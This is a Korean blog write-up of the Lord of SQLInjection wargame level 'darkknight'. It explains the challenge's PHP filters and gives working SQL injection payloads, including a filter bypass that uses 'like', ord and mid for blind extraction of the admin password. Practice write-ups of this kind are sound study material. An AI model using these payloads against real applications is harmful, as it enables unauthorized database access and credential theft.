김승현

[Lord Of SQLInjection] darkknight 12번 문제 write up 본문

Web/Lord Of Sql

[Lord Of SQLInjection] darkknight 12번 문제 write up

kshind 2023. 3. 22. 17:00

문제는 이렇게 생겼고 코드를 분석해보자.

  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");

첫 번째 줄은 ./config.php를 포함한다는 내용입니다.
두 번째 줄은 로그인을 했는지 체크하는 내용입니다.
세 번째 줄은 db를 연결합니다.

if문들은 필터링 관련 내용입니다. (preg_match란 정규 표현식에 해당 내용이 발견되면 검색을 중단하는 함수입니다.)

필터링 내용
no hack 
    1. prob
    2. _
    3. .
    4. (
    5. )
hehe
    1. '
    2. substr
    3. ascii
    4. =
위의 내용들을 대소문자 구분 없이 필터링합니다.
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$query에 select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}를 저장합니다.

query : $query를 강조해서 출력합니다.

$result에 $db를 연결하고 $query를 저장합니다.

만약 id가 존재하면 Hello [id내용]을 출력합니다.

  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

pw를 get 해와서 역슬래시(\)를 붙이고 저장합니다.

$query에 select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'를 저장합니다.

$result에 $db의 내용을 연결하고 $query를 저장합니다.

만약 pw가 존재하고 pw가 db에 저장된 pw값과 같으면 darkknight가 solve됩니다.

제일 먼저 sqli가 제대로 되는지 확인해보자.

1 || id like "admin" %23

위와 같이 입력해줬다.

 

그럼 이렇게 제대로 sqli가 되는 걸 알 수 있다.

그 다음으로는 pw의 길이를 알아보자.

?no = 1 || length(pw) like "8" %23

이렇게 입력해봤다.

이를 통해 admin의 pw의 길이는 8임을 알 수 있다.

이제 blind sqli를 시도해보자.

이번에 ascii가 필터링 되어서 새로운 걸 써야 하는데 ord와 mid라는 게 있다.

ascii(substr(pw,1,1))대신 ord(mid(pw,1,1))를 써볼 것이다.

1 || id like "admin" %26%26 ord(mid(pw,1,1)) < 50 %23

이렇게 입력해줬고

이렇게 admin이 뜨는 걸 알 수 있다. 이걸 하나하나 찾다보면 pw가 0b70ea1f임을 알 수 있다.

?pw=0b70ea1f